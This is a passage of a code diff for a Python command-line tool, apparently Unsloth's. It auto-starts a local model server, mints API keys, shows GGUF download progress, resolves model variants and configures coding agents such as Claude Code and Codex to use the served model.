     """Split ``org/name:QUANT`` into ``(repo, variant)`` -> ``("org/name", "QUANT")``.
 
@@ -164,11 +414,87 @@ def _split_repo_variant(model: str) -> tuple:
     return repo, variant
 
 
+def _looks_like_model(token: str) -> bool:
+    """True for a bare `org/name(:variant)` hub id that is not a flag or a local path.
+
+    Reuses `_is_hub_model_id`, so a relative dir like `owner/repo` that actually exists
+    is left for the agent (e.g. OpenCode opens it as a project) instead of being taken
+    as a model; a non-existent `org/name` is treated as a hub id.
+    """
+    if not token or token.startswith("-") or " " in token:
+        return False
+    repo, _ = _split_repo_variant(token)
+    return _is_hub_model_id(repo)
+
+
+def _consume_positional_model(model: Optional[str], args: list) -> tuple:
+    """Route a leading `org/name` positional to --model when --model was not given.
+
+    Only the FIRST token is considered so an option value like `--profile owner/repo`
+    is never stolen, and only when --model is absent so an explicit --model always wins.
+    Returns (model, remaining_args) with the consumed token removed from the passthrough.
+    """
+    args = list(args)
+    if model or not args or not _looks_like_model(args[0]):
+        return model, args
+    return args[0], args[1:]
+
+
+def _display_model_spec(model: str, variant: Optional[str]) -> str:
+    """Return a user-facing model name that includes the selected GGUF variant."""
+    repo, inline_variant = _split_repo_variant(model)
+    selected_variant = variant or inline_variant
+    return f"{repo}:{selected_variant}" if selected_variant else model
+
+
+def _subagent_model_id(
+    base: str,
+    key: str,
+    entry: dict,
+    requested_model: Optional[str],
+    requested_variant: Optional[str],
+) -> str:
+    """Return an API model id that preserves the selected GGUF variant.
+
+    Coding-agent model definitions outlive the initial load. If Unsloth later
+    unloads the model, a bare repository id may resolve to a different cached
+    quant. Include the explicit or currently loaded variant so an automatic
+    reload selects the same weights.
+    """
+    model_id = str(entry["id"])
+    _, inline_variant = _split_repo_variant(requested_model or "")
+    variant = requested_variant or inline_variant
+    if not variant:
+        try:
+            status = _http_json("GET", f"{base}/api/inference/status", key)
+        except Exception:
+            status = {}
+            typer.echo(
+                "Warning: could not verify the loaded GGUF variant; a later reload "
+                "may pick a different cached quant. Pass :variant to pin it.",
+                err = True,
+            )
+        if status.get("is_gguf"):
+            variant = status.get("gguf_variant")
+    return (
+        _display_model_spec(model_id, str(variant))
+        if variant and _is_hub_model_id(model_id)
+        else model_id
+    )
+
+
 def _fail(message: str) -> NoReturn:
     typer.echo(message, err = True)
     raise typer.Exit(code = 1)
 
 
+def _reject_as_subagent(agent: str, args: list) -> None:
+    # Reject early; otherwise the flag reaches the agent binary and fails after
+    # Studio has already loaded the model.
+    if "--as-subagent" in args:
+        _fail(f"--as-subagent is not supported for {agent}.")
+
+
 def _http_error_detail(exc: urllib.error.HTTPError) -> str:
     try:
         body = json.loads(exc.read().decode())
@@ -211,11 +537,265 @@ def _http_json(
 
 
 # A server that WE auto-started (never one we merely found). Kept at module scope so
-# _run's finally and the atexit backstop can tear it down without threading a handle
+# failure paths and the atexit backstop can tear it down without threading a handle
 # through all six agent commands. Only one agent runs per process, so one slot is enough.
 _auto_served_server: Optional[subprocess.Popen] = None
 # Model download + load can be slow; give the auto-started server room before giving up.
 _SERVER_START_TIMEOUT_S = 900
+_DOWNLOAD_POLL_INTERVAL_S = 1.0
+_START_API_KEY_PREFIX = "UNSLOTH_START_API_KEY: "
+_START_API_KEY_MARKER_ENV = "_UNSLOTH_START_API_KEY_MARKER"
+
+
+def _format_download_bytes(value: int) -> str:
+    value = max(0, int(value))
+    for unit in ("B", "KiB", "MiB", "GiB", "TiB"):
+        if value < 1024 or unit == "TiB":
+            precision = 0 if unit in ("B", "KiB") else 1
+            return f"{value:.{precision}f} {unit}"
+        value /= 1024
+    return "0 B"
+
+
+def _format_download_eta(seconds: float) -> str:
+    seconds = max(0, int(seconds))
+    if seconds < 60:
+        return f"{seconds}s"
+    minutes, seconds = divmod(seconds, 60)
+    if minutes < 60:
+        return f"{minutes}m {seconds:02d}s"
+    hours, minutes = divmod(minutes, 60)
+    return f"{hours}h {minutes:02d}m"
+
+
+class _DownloadProgressDisplay:
+    """Render download progress without making redirected output noisy."""
+
+    def __init__(self) -> None:
+        self._samples: list[tuple[float, int]] = []
+        self._shown = False
+        self._last_bucket = -1
+        self._last_line_length = 0
+        self._last_expected = 0
+        self._interactive = bool(getattr(sys.stdout, "isatty", lambda: False)())
+
+    def update(self, progress: dict) -> None:
+        downloaded = max(0, int(progress.get("downloaded_bytes") or 0))
+        completed = max(0, int(progress.get("completed_bytes") or 0))
+        expected = max(0, int(progress.get("expected_bytes") or 0))
+        self._last_expected = max(self._last_expected, expected)
+        fraction = float(progress.get("progress") or 0)
+        if downloaded <= 0:
+            return
+        # A fully cached snapshot can report 99% with no incomplete bytes; that is
+        # not a transfer, so don't show it as a download.
+        if completed >= downloaded > 0:
+            return
+
+        now = time.monotonic()
+        if self._samples and downloaded < self._samples[-1][1]:
+            self._samples.clear()
+        self._samples.append((now, downloaded))
+        cutoff = now - 15.0
+        while len(self._samples) > 2 and self._samples[0][0] < cutoff:
+            self._samples.pop(0)
+
+        rate = 0.0
+        if len(self._samples) >= 2:
+            elapsed = self._samples[-1][0] - self._samples[0][0]
+            delta = self._samples[-1][1] - self._samples[0][1]
+            if elapsed >= 1.0 and delta > 0:
+                rate = delta / elapsed
+
+        if expected > 0:
+            # The endpoint caps at 99% while bytes remain in an incomplete file; trust it.
+            fraction = min(1.0, max(0.0, fraction))
+            percent = min(100, max(0, int(fraction * 100)))
+            filled = min(24, int(fraction * 24))
+            bar = "=" * filled + ">" + "." * max(0, 23 - filled) if filled < 24 else "=" * 24
+            line = (
+                f"Downloading model [{bar}] {percent:3d}% "
+                f"{_format_download_bytes(downloaded)} / {_format_download_bytes(expected)}"
+            )
+            bucket = percent // 10
+            if rate > 0:
+                line += f" | {_format_download_bytes(rate)}/s"
+                if downloaded < expected:
+                    line += f" | ETA {_format_download_eta((expected - downloaded) / rate)}"
+        else:
+            line = f"Downloading model: {_format_download_bytes(downloaded)}"
+            bucket = downloaded // (1024**3)
+            if rate > 0:
+                line += f" | {_format_download_bytes(rate)}/s"
+
+        if self._interactive:
+            padding = " " * max(0, self._last_line_length - len(line))
+            typer.echo(f"\r{line}{padding}", nl = False)
+            sys.stdout.flush()
+            self._last_line_length = len(line)
+        elif not self._shown or bucket > self._last_bucket:
+            typer.echo(line)
+            self._last_bucket = bucket
+        self._shown = True
+
+    def close(self) -> None:
+        if self._interactive and self._shown:
+            typer.echo()
+        self._last_line_length = 0
+
+    def complete(self) -> None:
+        """Finish a displayed transfer after the model load confirms success."""
+        if not self._shown:
+            return
+        downloaded = self._samples[-1][1] if self._samples else 0
+        expected = max(downloaded, getattr(self, "_last_expected", 0))
+        self.update(
+            {
+                "downloaded_bytes": expected,
+                "expected_bytes": expected,
+                "progress": 1.0,
+            }
+        )
+
+
+def _normalized_variant(value: object) -> str:
+    return re.sub(r"[^a-z0-9]", "", str(value or "").lower())
+
+
+class _ModelDownloadProgress:
+    """Best-effort polling of the model download endpoints."""
+
+    def __init__(self, base: str, key: str, model: str, variant: Optional[str]) -> None:
+        self._base = base
+        self._key = key
+        self._model = model
+        self._variant = variant or ""
+        self._expected_bytes = 0
+        self._display = _DownloadProgressDisplay()
+        self._configured = False
+        self._disabled = not _is_hub_model_id(model)
+        self._progress_prefix = "/api/hub"
+
+    def _configure(self) -> None:
+        self._configured = True
+        if self._disabled:
+            return
+        # GGUF repos need the selected quant's size; the repo endpoint totals every
+        # quant. Resolve the variant first, otherwise show bytes only.
+        if self._variant or "gguf" in self._model.lower():
+            try:
+                params = urlencode({"repo_id": self._model})
+                try:
+                    info = _http_json(
+                        "GET",
+                        f"{self._base}/api/hub/gguf-variants?{params}",
+                        self._key,
+                        timeout = 10,
+                    )
+                except urllib.error.HTTPError as exc:
+                    if exc.code != 404:
+                        raise
+                    self._progress_prefix = "/api/models"
+                    info = _http_json(
+                        "GET",
+                        f"{self._base}/api/models/gguf-variants?{params}",
+                        self._key,
+                        timeout = 10,
+                    )
+                self._variant = self._variant or str(info.get("default_variant") or "")
+                wanted = _normalized_variant(self._variant)
+                for item in info.get("variants") or []:
+                    quant = _normalized_variant(item.get("quant"))
+                    filename = _normalized_variant(item.get("filename"))
+                    if wanted and (wanted == quant or wanted in filename):
+                        self._expected_bytes = int(
+                            item.get("download_size_bytes") or item.get("size_bytes") or 0
+                        )
+                        break
+            except Exception:
+                # Older servers lack this endpoint; byte progress is still useful.
+                pass
+
+    def poll(self) -> None:
+        if not self._configured:
+            self._configure()
+        if self._disabled:
+            return
+        try:
+            if self._variant or "gguf" in self._model.lower():
+                params = urlencode(
+                    {
+                        "repo_id": self._model,
+                        "variant": self._variant,
+                        "expected_bytes": self._expected_bytes,
+                    }
+                )
+                url = f"{self._base}{self._progress_prefix}/gguf-download-progress?{params}"
+            else:
+                url = (
+                    f"{self._base}{self._progress_prefix}/download-progress?"
+                    f"{urlencode({'repo_id': self._model})}"
+                )
+            try:
+                reading = _http_json("GET", url, self._key, timeout = 10)
+            except urllib.error.HTTPError as exc:
+                if exc.code != 404 or self._progress_prefix == "/api/models":
+                    raise
+                self._progress_prefix = "/api/models"
+                self.poll()
+                return
+            self._display.update(reading)
+        except Exception:
+            # Progress is best-effort; never fail the load over a polling error.
+            self._disabled = True
+
+    def close(self) -> None:
+        self._display.close()
+
+    def complete(self) -> None:
+        self._display.complete()
+
+
+def _load_model_with_progress(
+    base: str, key: str, model: str, load: LoadOptions, payload: dict
+) -> dict:
+    """Run the blocking load request while polling its download progress."""
+    result: list[tuple[bool, object]] = []
+    done = threading.Event()
+
+    def _load() -> None:
+        try:
+            value = _http_json(
+                "POST",
+                f"{base}/api/inference/load",
+                key,
+                payload,
+                timeout = 3600,
+                error = "Model load failed",
+            )
+            result.append((True, value))
+        except BaseException as exc:
+            result.append((False, exc))
+        finally:
+            done.set()
+
+    threading.Thread(target = _load, name = "unsloth-model-load", daemon = True).start()
+    progress = _ModelDownloadProgress(base, key, model, load.gguf_variant)
+    loading_announced = False
+    try:
+        while not done.wait(_DOWNLOAD_POLL_INTERVAL_S):
+            if not loading_announced:
+                typer.echo(f"Loading model: {_display_model_spec(model, load.gguf_variant)}")
+                loading_announced = True
+            progress.poll()
+        ok, value = result[0]
+        if not ok:
+            assert isinstance(value, BaseException)
+            raise value
+        progress.complete()
+        return value if isinstance(value, dict) else {}
+    finally:
+        progress.close()
 
 
 def _studio_healthy(base: str, timeout: float = 3.0) -> bool:
@@ -234,6 +814,11 @@ def _log_tail(path: Path, lines: int = 20) -> str:
         return "(no server log)"
 
 
+def _redacted_log_tail(path: Path, lines: int = 20) -> str:
+    """Tail with minted keys removed; only for tails shown on the terminal."""
+    return re.sub(r"sk-unsloth-\S+", "sk-unsloth-[redacted]", _log_tail(path, lines))
+
+
 def _shutdown_server(server: Optional[subprocess.Popen]) -> None:
     # Idempotent teardown of a server WE started, plus its own children (llama-server,
     # cloudflared). A no-op once the process is already gone.
@@ -272,17 +857,32 @@ def _shutdown_auto_served() -> None:
     global _auto_served_server
     server, _auto_served_server = _auto_served_server, None
     if server is not None and server.poll() is None:
-        typer.echo("Stopping the auto-started Studio server…")
+        typer.echo("Stopping the auto-started Unsloth server…")
         _shutdown_server(server)
 
 
-def _start_studio_server(base: str, model: str, load: LoadOptions) -> subprocess.Popen:
+def _keep_auto_served() -> bool:
+    """Release ownership so a successfully started server survives this CLI."""
+    global _auto_served_server
+    server, _auto_served_server = _auto_served_server, None
+    atexit.unregister(_shutdown_auto_served)
+    return server is not None and server.poll() is None
+
+
+def _start_studio_server(
+    base: str,
+    model: str,
+    load: LoadOptions,
+    server: ServerOptions = ServerOptions(),
+) -> subprocess.Popen:
     """Spawn `unsloth run` for `model`, wait until it is fully ready, and return it."""
     global _auto_served_server
     unsloth = shutil.which("unsloth") or "unsloth"
     parsed = urlparse(base)
-    # --disable-tools = passthrough mode (relay the agent's own tools); --no-cloudflare =
-    # loopback only, no tunnel. Mirrors .github/scripts/serve-unsloth-run.sh.
+    # Tools default off = passthrough mode (relay the agent's own tools); --no-cloudflare =
+    # loopback only, no tunnel. Mirrors .github/scripts/serve-unsloth-run.sh. Healing/nudging
+    # travel via the child env below (version-agnostic) rather than new run flags that an
+    # older re-exec'd run could mistake for llama-server args.
     command = [
         unsloth,
         "run",
@@ -290,7 +890,7 @@ def _start_studio_server(base: str, model: str, load: LoadOptions) -> subprocess
         parsed.hostname or "127.0.0.1",
         "-p",
         str(parsed.port or 8888),
-        "--disable-tools",
+        "--enable-tools" if server.enable_tools else "--disable-tools",
         "--no-cloudflare",
         "--model",
         model,
@@ -305,9 +905,8 @@ def _start_studio_server(base: str, model: str, load: LoadOptions) -> subprocess
         command += ["--tensor-parallel"]
 
     log_path = Path(tempfile.gettempdir()) / f"unsloth-start-server-{os.getpid()}.log"
-    typer.echo(
-        f"No Studio server at {base}. Starting one for {model} (loading the model can take a while)…"
-    )
+    typer.echo("Starting Unsloth server")
+    typer.echo(f"Model: {_display_model_spec(model, load.gguf_variant)}")
     typer.echo(f"Server log: {log_path}")
     # 0600: the `unsloth run` banner in this log carries the minted sk-unsloth- key, and
     # the tempdir is world-traversable. Unlink first so a stale looser-mode file (pid
@@ -315,8 +914,30 @@ def _start_studio_server(base: str, model: str, load: LoadOptions) -> subprocess
     log_path.unlink(missing_ok = True)
     log = os.fdopen(os.open(log_path, os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0o600), "wb")
     # Own session/process group so a mid-session Ctrl+C (cancel a turn) doesn't reach the
-    # server; we tear it down explicitly when the agent exits.
-    kwargs: dict = {"stdout": log, "stderr": subprocess.STDOUT, "stdin": subprocess.DEVNULL}
+    # server. It survives a successful agent session; torn down on startup/launch failure.
+    child_env = os.environ.copy()
+    # Pass the marker via env so an older launcher ignores it instead of treating an
+    # unknown CLI flag as a llama-server arg; new launchers preserve it across re-exec.
+    child_env[_START_API_KEY_MARKER_ENV] = "1"
+    # Convey healing/nudging through the env; `unsloth run` reads these when its own
+    # flags are omitted, so this works even if run re-execs into an older Studio venv.
+    # Only write when the operator set the flag explicitly; otherwise keep whatever they
+    # already exported (child_env is a copy of os.environ), falling back to the start
+    # defaults (healing on, nudging on) when nothing was inherited.
+    if server.tool_call_healing is not None:
+        child_env["UNSLOTH_DISABLE_TOOL_CALL_HEALING"] = "0" if server.tool_call_healing else "1"
+    elif "UNSLOTH_DISABLE_TOOL_CALL_HEALING" not in child_env:
+        child_env["UNSLOTH_DISABLE_TOOL_CALL_HEALING"] = "0"
+    if server.tool_call_nudging is not None:
+        child_env["UNSLOTH_TOOL_CALL_NUDGE"] = "1" if server.tool_call_nudging else "0"
+    elif "UNSLOTH_TOOL_CALL_NUDGE" not in child_env:
+        child_env["UNSLOTH_TOOL_CALL_NUDGE"] = "1"
+    kwargs: dict = {
+        "stdout": log,
+        "stderr": subprocess.STDOUT,
+        "stdin": subprocess.DEVNULL,
+        "env": child_env,
+    }
     if os.name == "nt":
         kwargs["creationflags"] = subprocess.CREATE_NEW_PROCESS_GROUP
     else:
@@ -329,20 +950,48 @@ def _start_studio_server(base: str, model: str, load: LoadOptions) -> subprocess
     atexit.register(_shutdown_auto_served)
 
     deadline = time.monotonic() + _SERVER_START_TIMEOUT_S
-    while time.monotonic() < deadline:
-        if server.poll() is not None:
-            tail = _log_tail(log_path)
-            _shutdown_auto_served()
-            _fail(f"The Studio server stopped before it was ready. Last log lines:\n{tail}")
-        # `unsloth run` prints the minted key only after the server is up AND the model is
-        # loaded, so it is the fully-ready signal (same contract serve-unsloth-run.sh uses).
-        if _studio_healthy(base) and "sk-unsloth-" in _log_tail(log_path, lines = 400):
-            typer.echo(f"Studio server ready at {base}.")
-            return server
-        time.sleep(2.0)
+    progress: Optional[_ModelDownloadProgress] = None
+    early_key_seen = False
+    try:
+        while time.monotonic() < deadline:
+            if server.poll() is not None:
+                # The early key marker lands here before load finishes; redact it.
+                tail = _redacted_log_tail(log_path)
+                _shutdown_auto_served()
+                _fail(f"The Unsloth server stopped before it was ready. Last log lines:\n{tail}")
+            tail = _log_tail(log_path, lines = 400)
+            if progress is None:
+                marker = re.search(
+                    rf"^{re.escape(_START_API_KEY_PREFIX)}(sk-unsloth-[^\s]+)$",
+                    tail,
+                    flags = re.MULTILINE,
+                )
+                if marker:
+                    early_key_seen = True
+                    progress = _ModelDownloadProgress(
+                        base,
+                        marker.group(1),
+                        model,
+                        load.gguf_variant,
+                    )
+            if progress is not None:
+                progress.poll()
+            # New children emit an early key marker, so wait for the final model banner;
+            # older children only print the key after load, so fall back to that.
+            ready_signal = "Model loaded:" in tail if early_key_seen else "sk-unsloth-" in tail
+            if _studio_healthy(base) and ready_signal:
+                if progress is not None:
+                    progress.complete()
+                    progress.close()
+                    progress = None
+                return server
+            time.sleep(2.0)
+    finally:
+        if progress is not None:
+            progress.close()
     _shutdown_auto_served()
     _fail(
-        f"The Studio server didn't become ready within {_SERVER_START_TIMEOUT_S}s. See {log_path}."
+        f"The Unsloth server didn't become ready within {_SERVER_START_TIMEOUT_S}s. See {log_path}."
     )
 
 
@@ -365,6 +1014,7 @@ def _require_studio(
     *,
     serve: bool = False,
     launch: bool = True,
+    server_options: ServerOptions = ServerOptions(),
 ) -> tuple:
     """Return (base, server). server is a Popen only when WE auto-started it."""
     base = find_studio_server()
@@ -385,10 +1035,14 @@ def _require_studio(
         # Normalize to the port unsloth run actually binds, so the health poll and the
         # returned base hit the same server we launch (not a portless :80).
         expected = _effective_base(expected)
-        return expected, _start_studio_server(expected, model, load or LoadOptions())
+        load = load or LoadOptions()
+        # Leave a bare GGUF repo's variant unset: the server's own quant preference already
+        # picks the best available (UD-Q4_K_XL for Unsloth uploads, else Q4_K_M) and falls back
+        # when that exact quant is missing, which forcing a fixed variant here would break.
+        return expected, _start_studio_server(expected, model, load, server_options)
     model_hint = "" if model else " Pass --model to have it start one for you, or"
     _fail(
-        f"No running Studio server found at {expected}.{model_hint} start one with "
+        f"No running Unsloth server found at {expected}.{model_hint} start one with "
         "`unsloth studio`, or point UNSLOTH_STUDIO_URL at a remote server."
     )
 
@@ -492,12 +1146,12 @@ def _key_accepted(base: str, key: str) -> bool:
         if exc.code in (401, 403):
             return False
         _fail(
-            f"Studio server error while checking an API key ({exc.code}). "
+            f"Unsloth server error while checking an API key ({exc.code}). "
             "The server may be starting up or unhealthy; try again shortly."
         )
     except (urllib.error.URLError, TimeoutError) as exc:
         _fail(
-            "Couldn't reach the Studio server while checking an API key: "
+            "Couldn't reach the Unsloth server while checking an API key: "
             f"{getattr(exc, 'reason', None) or exc}"
         )
 
@@ -517,10 +1171,10 @@ def _agent_api_key(
         # UNSLOTH_API_KEY meant for some other server must not fail the
         # launch: the loopback mint path below is guaranteed to work.
         # (An explicit key that the fresh server accepts, e.g. one persisted
-        # in this Studio home's auth db, is still honored above.)
+        # in this Unsloth home's auth db, is still honored above.)
 
     # Replay a key the user saved for *this exact* server first (scoped per base,
-    # so it only goes back there -- including a remote/SSH-tunnelled Studio whose
+    # so it only goes back there -- including a remote/SSH-tunnelled Unsloth whose
     # secret the local handshake can't match). Skip ones the server rejects.
     for key in _cached_keys(cache, base, "saved"):
         if _key_accepted(base, key):
@@ -533,15 +1187,15 @@ def _agent_api_key(
     if not is_loopback_url(base):
         _fail(
             f"No saved API key for {base} and automatic minting only runs against "
-            "a local Studio. Create an API key in Studio → Settings → API and "
+            "a local Unsloth. Create an API key in Unsloth → Settings → API and "
             "pass it with --api-key (it is remembered per server), or set "
             "UNSLOTH_API_KEY."
         )
     if not verify_studio_identity(base):
         _fail(
-            f"Couldn't verify that {base} is your Studio (it may be running as a "
+            f"Couldn't verify that {base} is your Unsloth (it may be running as a "
             "different OS user, or another process took the port). Create an API "
-            "key in Studio → Settings → API and pass it with --api-key, or set "
+            "key in Unsloth → Settings → API and pass it with --api-key, or set "
             "UNSLOTH_API_KEY."
         )
 
@@ -555,8 +1209,8 @@ def _agent_api_key(
     token = _studio_token()
     if token is None:
         _fail(
-            "Couldn't authenticate with the Studio server automatically. Create "
-            "an API key in Studio → Settings → API and pass it with --api-key, "
+            "Couldn't authenticate with the Unsloth server automatically. Create "
+            "an API key in Unsloth → Settings → API and pass it with --api-key, "
             "or set UNSLOTH_API_KEY."
         )
     key = _http_json(
@@ -574,6 +1228,59 @@ def _loaded_models(base: str, key: str) -> list:
     return _http_json("GET", f"{base}/v1/models", key, error = "Couldn't list models").get("data", [])
 
 
+_HF_REPO_ID_SEGMENT_RE = re.compile(r"^[A-Za-z0-9._-]+$")
+
+
+def _is_hub_model_id(value: object) -> bool:
+    if not isinstance(value, str):
+        return False
+    text = value.strip()
+    if "\\" in text:
+        return False
+    if text.startswith(("/", "./", "../", "~")):
+        return False
+    if len(text) >= 2 and text[1] == ":" and text[0].isalpha():
+        return False
+    # A hub id is exactly "namespace/name" over a restricted charset. Anything with
+    # extra path segments (e.g. a server-side relative path such as
+    # models/Llama/Foo.gguf on a remote Unsloth) is not a hub id and must not be
+    # casefold-matched against a differently cased path on a case-sensitive
+    # filesystem. This is host independent, unlike the existence probe below which
+    # cannot see a path that only exists on the server.
+    parts = text.split("/")
+    if len(parts) != 2:
+        return False
+    if any(part in ("", ".", "..") or not _HF_REPO_ID_SEGMENT_RE.match(part) for part in parts):
+        return False
+    try:
+        if Path(os.path.expanduser(text)).exists():
+            return False
+    except OSError:
+        return False
+    return True
+
+
+def _model_id_matches(
+    actual: object,
+    requested: object,
+    *,
+    allow_casefold: bool = True,
+) -> bool:
+    if actual == requested:
+        return True
+    # Case-insensitive matching is only safe when the local existence probe in
+    # _is_hub_model_id is authoritative, i.e. against a loopback Unsloth on this host.
+    # Against a remote Unsloth a two-segment string is indistinguishable from a
+    # server-side relative path (e.g. Models/Foo vs models/foo), so casefolding it
+    # could attach to the wrong model on a case-sensitive server; defer to an exact
+    # match there and let the load endpoint resolve the requested path.
+    if not allow_casefold:
+        return False
+    if not (_is_hub_model_id(actual) and _is_hub_model_id(requested)):
+        return False
+    return str(actual).casefold() == str(requested).casefold()
+
+
 def _resolve_model(
     base: str,
     key: str,
@@ -581,6 +1288,10 @@ def _resolve_model(
     load: LoadOptions = LoadOptions(),
 ) -> dict:
     models = _loaded_models(base, key)
+    load_requested = False
+    # Only casefold-match ids against a loopback Unsloth, where _is_hub_model_id's
+    # local existence probe can actually reject a server-side path; see the note there.
+    allow_casefold = is_loopback_url(base)
     # /v1/models reports the model id but not the active GGUF variant or runtime load
     # settings, so an id match alone can hide the wrong quant (Q8_0 serving while the
     # user asked for UD-Q4_K_XL). When the user passed any explicit load knob, defer to
@@ -590,17 +1301,47 @@ def _resolve_model(
     load_has_overrides = bool(
         load.gguf_variant or load.max_seq_length or not load.load_in_4bit or load.tensor_parallel
     )
+    # /v1/models also lists cached-but-unloaded catalog entries (loaded == False);
+    # matching one would skip /api/inference/load and leave the agent pointed at a
+    # model that is not resident, so only attach to an entry that is actually loaded.
     match = (
         None
         if requested and load_has_overrides
-        else next((m for m in models if m["id"] == requested), None)
+        else next(
+            (
+                m
+                for m in models
+                if _model_id_matches(m.get("id"), requested, allow_casefold = allow_casefold)
+                and m.get("loaded") is not False
+            ),
+            None,
+        )
     )
     if requested and match is None:
-        typer.echo(
-            f"Ensuring {requested} is loaded with the requested settings…"
-            if load_has_overrides
-            else f"Loading {requested} on the Studio server (this can take a while)…"
-        )
+        load_requested = True
+        active = next((m for m in models if m.get("loaded") is not False), None)
+        active_id = active.get("id") if active else None
+        if active_id and not _model_id_matches(
+            active_id,
+            requested,
+            allow_casefold = allow_casefold,
+        ):
+            typer.echo(f"Switching the Unsloth server from {active_id} to {requested}.")
+            typer.echo("This unloads the current model for every attached session.")
+        elif active_id and load.gguf_variant:
+            # Same repo id but an explicit quant still replaces the resident
+            # weights; /v1/models has no variant, so ask the status endpoint.
+            try:
+                status = _http_json("GET", f"{base}/api/inference/status", key)
+            except Exception:
+                status = {}
+            resident = status.get("gguf_variant") if status.get("is_gguf") else None
+            if resident and _normalized_variant(resident) != _normalized_variant(load.gguf_variant):
+                typer.echo(
+                    f"Switching the Unsloth server from {active_id}:{resident} "
+                    f"to {requested}:{load.gguf_variant}."
+                )
+                typer.echo("This unloads the current model for every attached session.")
         # Mirror `unsloth run`'s load knobs; keep the default payload as just
         # model_path so a bare `--model` load is unchanged.
         payload = {"model_path": requested}
@@ -612,15 +1353,10 @@ def _resolve_model(
             payload["load_in_4bit"] = False
         if load.tensor_parallel:
             payload["tensor_parallel"] = True
-        loaded = _http_json(
-            "POST",
-            f"{base}/api/inference/load",
-            key,
-            payload,
-            timeout = 3600,
-            error = "Model load failed",
-        )
-        # Studio registers the model under a canonical id (resolved identifier,
+        loaded = _load_model_with_progress(base, key, requested, load, payload)
+        if loaded.get("status") == "already_loaded":
+            typer.echo(f"Reusing loaded model: {_display_model_spec(requested, load.gguf_variant)}")
+        # Unsloth registers the model under a canonical id (resolved identifier,
         # casing) that /v1/models echoes but which may differ from the path we
         # passed; match on the id the load reports so we don't silently fall
         # through to models[0] and connect to a different loaded model.
@@ -628,26 +1364,44 @@ def _resolve_model(
         if isinstance(loaded, dict):
             wanted |= {loaded.get("model"), loaded.get("display_name")} - {None}
         models = _loaded_models(base, key)
-        match = next((m for m in models if m["id"] in wanted), None)
+        match = next(
+            (
+                m
+                for m in models
+                if m.get("loaded") is not False
+                and any(
+                    _model_id_matches(m.get("id"), w, allow_casefold = allow_casefold) for w in wanted
+                )
+            ),
+            None,
+        )
     if match is not None:
+        if requested and not load_requested:
+            typer.echo(f"Reusing loaded model: {_display_model_spec(requested, load.gguf_variant)}")
         return match
     if requested:
-        # We asked Studio to load it and it didn't surface in /v1/models; don't
+        # We asked Unsloth to load it and it didn't surface in /v1/models; don't
         # silently hand back an unrelated loaded model.
         _fail(
-            f"Studio didn't report '{requested}' as loaded. Double-check the model "
+            f"Unsloth didn't report '{requested}' as loaded. Double-check the model "
             "id, or load it from the model dropdown in the UI."
         )
     if not models:
         _fail(
-            "No model is loaded in Studio. Load one from the model dropdown in "
+            "No model is loaded in Unsloth. Load one from the model dropdown in "
             "the UI, or pass --model <hf-id-or-path> to load it from here."
         )
-    return models[0]
+    resident = next((m for m in models if m.get("loaded") is not False), None)
+    if resident is None:
+        _fail(
+            "No model is currently resident in Unsloth. Pass --model <hf-id-or-path> "
+            "to reload one, or load it from the model dropdown in the UI."
+        )
+    return resident
 
 
 def _require_gguf_for_codex(base: str, key: str, model_id: str) -> None:
-    # Codex always streams, and Studio only streams /v1/responses from llama-server.
+    # Codex always streams, and Unsloth only streams /v1/responses from llama-server.
     try:
         status = _http_json("GET", f"{base}/api/inference/status", key)
     except urllib.error.HTTPError as exc:
@@ -664,17 +1418,21 @@ def _require_gguf_for_codex(base: str, key: str, model_id: str) -> None:
 
 
 _DYNAMIC_SECTIONS_FLAG = "--exclude-dynamic-system-prompt-sections"
-# Session overlay applied via `claude --settings`; suppresses the attribution header
-# for THIS run only (no ~/.claude write) so llama.cpp KV-cache reuse is preserved. It
-# reinforces the CLAUDE_CODE_ATTRIBUTION_HEADER env var on builds that read the setting
-# only from settings.json.
-_CLAUDE_SETTINGS_OVERLAY = '{"env":{"CLAUDE_CODE_ATTRIBUTION_HEADER":"0"}}'
+
+
+def _claude_settings_overlay(model_id: str) -> str:
+    # Session-only `claude --settings` overlay (command-line tier, no ~/.claude write):
+    # suppress the attribution header, and pin availableModels to the served model so a
+    # user allowlist can't reject it. The pin must be non-empty; [] is ignored.
+    return json.dumps(
+        {"env": {"CLAUDE_CODE_ATTRIBUTION_HEADER": "0"}, "availableModels": [model_id]}
+    )
 
 
 def _claude_version() -> Optional[tuple]:
     # None = no local `claude` (a --no-launch printout for another machine; assume a
     # current build). An unparseable version is treated as too old for the new flags.
-    executable = shutil.which("claude")
+    executable = _which_with_install_dirs("claude")
     if executable is None:
         return None
     try:
@@ -691,16 +1449,33 @@ def _claude_version() -> Optional[tuple]:
         return (0,)
 
 
-def _claude_flags() -> list:
-    # Both knobs preserve llama.cpp KV-cache reuse: --exclude-dynamic-system-prompt-sections
-    # moves per-session context out of the system prompt, and --settings suppresses the
-    # attribution header for this session only (no persistent ~/.claude write; the env var
-    # sets it too). Claude Code < 2.1.98 aborts on unknown flags, so gate on the version;
-    # no local binary means a printout for another machine, so assume a current build.
+def _claude_flags(model_id: str) -> list:
+    # KV-cache-preserving flags: move per-session context out of the system prompt and pass
+    # the session overlay. claude < 2.1.98 rejects unknown flags; no local binary means a
+    # printout for another machine, so assume a current build.
     version = _claude_version()
     if version is not None and version < (2, 1, 98):
         return []
-    return [_DYNAMIC_SECTIONS_FLAG, "--settings", _CLAUDE_SETTINGS_OVERLAY]
+    return [_DYNAMIC_SECTIONS_FLAG, "--settings", _claude_settings_overlay(model_id)]
+
+
+def _claude_local_env(base: str, key: str, entry: dict) -> dict:
+    """Build the local endpoint, cache, display, and compaction environment."""
+    model_id = entry["id"]
+    env = {
+        "ANTHROPIC_BASE_URL": base,
+        "ANTHROPIC_AUTH_TOKEN": key,
+        "ANTHROPIC_MODEL": model_id,
+        "CLAUDE_CODE_ATTRIBUTION_HEADER": "0",
+        "CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC": "1",
+        "CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS": "1",
+        "CLAUDE_CODE_NO_FLICKER": "1",
+    }
+    window = entry.get("context_length") or entry.get("max_context_length")
+    if window:
+        env["CLAUDE_CODE_AUTO_COMPACT_WINDOW"] = str(int(window))
+        env["CLAUDE_AUTOCOMPACT_PCT_OVERRIDE"] = "90"
+    return env
 
 
 def _merge_codex_config(existing: str, base: str) -> str:
@@ -726,6 +1501,60 @@ def _merge_codex_config(existing: str, base: str) -> str:
     )
 
 
+# Keep custom-model behavior aligned with Codex's own unknown-model fallback. This
